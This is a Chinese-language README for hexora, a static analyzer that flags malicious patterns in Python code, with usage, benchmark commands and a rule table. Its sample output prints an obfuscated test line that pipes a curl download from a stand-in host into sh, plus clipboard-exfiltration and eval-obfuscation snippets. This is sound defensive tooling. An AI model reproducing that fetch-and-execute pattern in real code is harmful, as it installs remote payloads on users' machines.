
新发布Aug 2, 2026
hexora v0.3.1
恶意Python代码的静态分析
hexora
Hexora 是一款静态分析工具,旨在检测 Python 代码中的恶意和有害模式。它结合了基于规则的静态分析引擎与机器学习模型,对整个源文件进行评分,将其分类为恶意或良性。
它可以用于:
- 审计项目依赖,以发现潜在的供应链攻击
- 检测在 Pastebin、GitHub 或开放目录等平台上发现的恶意脚本
- 分析过去安全事件中的 IoC 文件
- 审计上传到 PyPi 的新包
示例
如需输出示例,请参见 docs/examples.md 文件。
安装
使用 Python
需要 Python 3.9+。
pip install hexora
使用 uv:
uv tool install hexora
使用
hexora --help
审计单个文件
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
审计目录
hexora audit --output-format terminal resources/test/
审计虚拟环境中的包
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
其中 python3.11 是虚拟环境中 Python 的版本。
提示:
- 使用
--exclude来抑制特定规则代码(例如,嘈杂的导入) - 使用
--min-confidence仅关注高置信度的发现。
置信度表示某段代码的恶意程度。某些库或代码片段用于合法目的,很难区分合法用例与恶意用例。这就是为什么一些匹配项具有低置信度级别。
某些规则可以有不同的置信度级别。除非你非常确定,否则避免按代码过滤大量规则。例如,代码和 shell 执行可以有中等、高和非常高的置信度。这取决于代码的执行方式。如果我们检测到混淆尝试,我们会提升置信度。
例如,以下代码将具有高置信度:
globals()["__builtins__"].eval("print(123)")
在 Python 中使用
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
针对恶意数据集进行测试
在开发新规则时,您可以使用现有的恶意数据集,例如 malicious-software-packages-dataset。
克隆后,将基准测试工具指向数据集目录:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
可用规则
新规则会定期添加。
目前,以下规则可用:
| 代码 | 名称 | 描述 |
|---|---|---|
| HX1000 | AppEnumeration | 可疑的应用程序枚举。 |
| HX1010 | BrowserEnumeration | 可疑的浏览器枚举(应用程序、cookie、历史记录等)。 |
| HX1020 | PathEnumeration | 可疑的路径枚举。 |
| HX1030 | OSFingerprint | 可疑的操作系统指纹识别。 |
| HX2000 | ClipboardRead | 从剪贴板读取。 |
| HX2010 | EnvAccess | 访问敏感环境变量。 |
| HX2020 | ScreenshotCapture | 截取屏幕截图。 |
| HX3000 | CodeExec | 可能的代码执行。 |
| HX3010 | ShellExec | 执行 shell 命令。 |
| HX3040 | DLLInjection | 可能的 DLL 注入。 |
| HX3050 | DangerousExec | 在 shell 命令中执行潜在危险命令。 |
| HX3060 | SuspiciousCall | 可疑函数调用。 |
| HX4000 | ObfuscatedShellExec | 执行可能混淆过的 shell 命令。 |
| HX4010 | ObfuscatedCodeExec | 执行可能混淆过的代码。 |
| HX5000 | DunderImport | 可疑的 __import__ 使用。 |
| HX5010 | SuspiciousImport | 可疑导入。 |
| HX5020 | CtypesImport | 可疑的 ctypes 导入。 |
| HX5030 | PickleImport | 可疑的 pickle 导入。 |
| HX5040 | StructImport | 可疑的 struct 导入。 |
| HX5050 | SocketImport | 可疑的 socket 导入。 |
| HX5060 | MarshalImport | 可疑的 marshal 导入。 |
| HX6000 | Base64String | 检测到长 Base64 编码字符串;可能存在代码混淆。 |
| HX6010 | HexedLiterals | 检测到十六进制编码的字面量列表;可能存在载荷。 |
| HX6020 | HexedString | 检测到长十六进制编码字符串;可能存在载荷。 |
| HX6030 | IntLiterals | 检测到大整数列表;可能存在代码混淆。 |
| HX6040 | CVEInLiteral | 字面量包含 CVE 标识符。 |
| HX6050 | SuspiciousLiteral | 检测到可疑字面量;可能存在数据枚举。 |
| HX6060 | PathTraversal | 可疑的路径遍历。 |
| HX6070 | BrowserExtension | 枚举敏感浏览器扩展。 |
| HX6080 | WebHook | 检测到可疑 webhook。可能存在数据泄露。 |
| HX6090 | TelegramToken | 在字符串字面量中检测到 Telegram 机器人令牌。 |
| HX7000 | SuspiciousFunctionName | 可疑的函数名称。 |
| HX7010 | SuspiciousParameterName | 可疑的参数名称。 |
| HX7020 | SuspiciousVariable | 可疑的变量名称。 |
| HX9000 | DataExfiltration | 潜在的数据泄露。 |
| HX8000 | BinaryDownload | 可疑的二进制下载。 |
| HX8010 | BuiltinsVariable | 可疑的内置变量使用。 |
| HX8020 | SuspiciousComment | 可疑的注释。 |
| HX8030 | SuspiciousWrite | 可疑的文件系统写入。 |
| HX8040 | InstallHook | 可疑的安装钩子设置。 |
致谢
对于解析,我们使用 ruff 库中的 AST 解析器。